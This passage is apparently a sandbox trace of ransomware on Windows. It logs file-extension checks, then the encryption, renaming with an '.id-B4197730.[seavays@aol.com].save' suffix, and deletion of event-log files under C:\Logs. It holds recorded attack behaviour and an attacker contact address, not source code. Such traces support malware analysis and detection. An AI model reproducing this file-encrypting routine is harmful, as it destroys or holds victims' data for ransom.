(lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.388] lstrlenW (lpString=".jpg") returned 4 [0061.388] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.388] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.388] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0061.388] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0061.388] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2166784) returned 1 [0061.388] CloseHandle (hObject=0x37c) returned 1 [0061.388] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0061.388] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.388] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 1 [0061.389] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0061.389] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0x0) returned 1 [0061.389] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0061.389] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3afc058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0061.424] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0061.424] ReadFile (in: hFile=0x37c, lpBuffer=0x3b3c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b3c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0061.428] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0061.428] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0061.428] ReadFile (in: hFile=0x37c, lpBuffer=0x3b7c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b7c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0061.757] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.758] WriteFile (in: hFile=0x37c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x300fca8, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fca8*=0xc015c, lpOverlapped=0x0) returned 1 [0061.771] SetEndOfFile (hFile=0x37c) returned 1 [0061.771] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x42b3cb8 [0061.776] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0061.776] WriteFile (in: hFile=0x37c, lpBuffer=0x42b3cb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x42b3cb8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0061.778] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0061.778] WriteFile (in: hFile=0x37c, lpBuffer=0x42b3cb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x42b3cb8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0061.780] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0061.780] WriteFile (in: hFile=0x37c, lpBuffer=0x42b3cb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x42b3cb8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0062.082] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3cb8 | out: hHeap=0x6a0000) returned 1 [0062.539] CloseHandle (hObject=0x37c) returned 1 [0063.369] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0063.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.369] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.369] lstrlenW (lpString=".doc") returned 4 [0063.369] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.369] lstrlenW (lpString=".docx") returned 5 [0063.369] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.369] lstrlenW (lpString=".pdf") returned 4 [0063.369] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.369] lstrlenW (lpString=".xls") returned 4 [0063.369] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.369] lstrlenW (lpString=".xlsx") returned 5 [0063.369] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.370] lstrlenW (lpString=".ppt") returned 4 [0063.370] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.370] lstrlenW (lpString=".zip") returned 4 [0063.370] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString=".rar") returned 4 [0063.370] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString=".bz2") returned 4 [0063.370] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString=".7z") returned 3 [0063.370] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.370] lstrlenW (lpString=".dbf") returned 4 [0063.370] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.370] lstrlenW (lpString=".1cd") returned 4 [0063.370] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.370] lstrlenW (lpString=".jpg") returned 4 [0063.370] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.370] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.370] lstrlenW (lpString=".doc") returned 4 [0063.370] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.370] lstrlenW (lpString=".docx") returned 5 [0063.371] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.371] lstrlenW (lpString=".pdf") returned 4 [0063.371] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString=".xls") returned 4 [0063.371] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString=".xlsx") returned 5 [0063.371] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.371] lstrlenW (lpString=".ppt") returned 4 [0063.371] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.371] lstrlenW (lpString=".zip") returned 4 [0063.371] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString=".rar") returned 4 [0063.371] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString=".bz2") returned 4 [0063.371] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString=".7z") returned 3 [0063.371] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.371] lstrlenW (lpString=".dbf") returned 4 [0063.371] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.371] lstrlenW (lpString=".1cd") returned 4 [0063.371] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.371] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0063.371] lstrlenW (lpString=".jpg") returned 4 [0063.372] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.372] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.372] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0063.372] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0063.372] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0063.372] CloseHandle (hObject=0x37c) returned 1 [0063.372] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0063.373] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0063.373] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.373] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.373] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.373] GetLastError () returned 0x0 [0063.373] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0063.377] WriteFile (in: hFile=0x2ec, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0063.379] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.379] WriteFile (in: hFile=0x2ec, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x128, lpOverlapped=0x0) returned 1 [0063.380] SetEndOfFile (hFile=0x2ec) returned 1 [0063.380] CloseHandle (hObject=0x2ec) returned 1 [0063.382] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.382] SetEndOfFile (hFile=0x37c) returned 1 [0063.384] CloseHandle (hObject=0x37c) returned 1 [0063.384] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0063.384] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0063.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.385] lstrlenW (lpString=".doc") returned 4 [0063.385] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.385] lstrlenW (lpString=".docx") returned 5 [0063.385] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.385] lstrlenW (lpString=".pdf") returned 4 [0063.385] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.385] lstrlenW (lpString=".xls") returned 4 [0063.385] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.385] lstrlenW (lpString=".xlsx") returned 5 [0063.385] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.385] lstrlenW (lpString=".ppt") returned 4 [0063.385] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.385] lstrlenW (lpString=".zip") returned 4 [0063.385] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.385] lstrlenW (lpString=".rar") returned 4 [0063.385] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString=".bz2") returned 4 [0063.386] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString=".7z") returned 3 [0063.386] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.386] lstrlenW (lpString=".dbf") returned 4 [0063.386] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.386] lstrlenW (lpString=".1cd") returned 4 [0063.386] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.386] lstrlenW (lpString=".jpg") returned 4 [0063.386] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.386] lstrlenW (lpString=".doc") returned 4 [0063.386] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString=".docx") returned 5 [0063.386] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.386] lstrlenW (lpString=".pdf") returned 4 [0063.386] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString=".xls") returned 4 [0063.386] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.386] lstrlenW (lpString=".xlsx") returned 5 [0063.386] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.387] lstrlenW (lpString=".ppt") returned 4 [0063.387] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.387] lstrlenW (lpString=".zip") returned 4 [0063.387] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.387] lstrlenW (lpString=".rar") returned 4 [0063.387] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.387] lstrlenW (lpString=".bz2") returned 4 [0063.387] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.387] lstrlenW (lpString=".7z") returned 3 [0063.387] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.387] lstrlenW (lpString=".dbf") returned 4 [0063.387] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.387] lstrlenW (lpString=".1cd") returned 4 [0063.387] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0063.387] lstrlenW (lpString=".jpg") returned 4 [0063.387] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.388] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.388] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0063.388] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0063.429] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0063.429] CloseHandle (hObject=0x37c) returned 1 [0063.429] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0063.429] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.429] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0063.429] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.429] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.430] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0063.430] GetLastError () returned 0x0 [0063.430] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0063.433] WriteFile (in: hFile=0x2ec, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0063.436] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.436] WriteFile (in: hFile=0x2ec, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x116, lpOverlapped=0x0) returned 1 [0063.436] SetEndOfFile (hFile=0x2ec) returned 1 [0063.436] CloseHandle (hObject=0x2ec) returned 1 [0063.440] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.440] SetEndOfFile (hFile=0x37c) returned 1 [0063.441] CloseHandle (hObject=0x37c) returned 1 [0063.441] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0063.442] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0063.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.442] lstrlenW (lpString=".doc") returned 4 [0063.442] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.442] lstrlenW (lpString=".docx") returned 5 [0063.442] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.442] lstrlenW (lpString=".pdf") returned 4 [0063.442] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.442] lstrlenW (lpString=".xls") returned 4 [0063.442] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.442] lstrlenW (lpString=".xlsx") returned 5 [0063.442] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.442] lstrlenW (lpString=".ppt") returned 4 [0063.442] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.443] lstrlenW (lpString=".zip") returned 4 [0063.443] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString=".rar") returned 4 [0063.443] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString=".bz2") returned 4 [0063.443] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString=".7z") returned 3 [0063.443] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.443] lstrlenW (lpString=".dbf") returned 4 [0063.443] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.443] lstrlenW (lpString=".1cd") returned 4 [0063.443] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.443] lstrlenW (lpString=".jpg") returned 4 [0063.443] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.443] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.443] lstrlenW (lpString=".doc") returned 4 [0063.443] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.443] lstrlenW (lpString=".docx") returned 5 [0063.443] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.443] lstrlenW (lpString=".pdf") returned 4 [0063.444] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString=".xls") returned 4 [0063.444] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString=".xlsx") returned 5 [0063.444] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.444] lstrlenW (lpString=".ppt") returned 4 [0063.444] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.444] lstrlenW (lpString=".zip") returned 4 [0063.444] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString=".rar") returned 4 [0063.444] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString=".bz2") returned 4 [0063.444] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString=".7z") returned 3 [0063.444] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.444] lstrlenW (lpString=".dbf") returned 4 [0063.444] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.444] lstrlenW (lpString=".1cd") returned 4 [0063.444] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.444] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0063.444] lstrlenW (lpString=".jpg") returned 4 [0063.444] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.445] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.445] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0063.445] CreateFileW 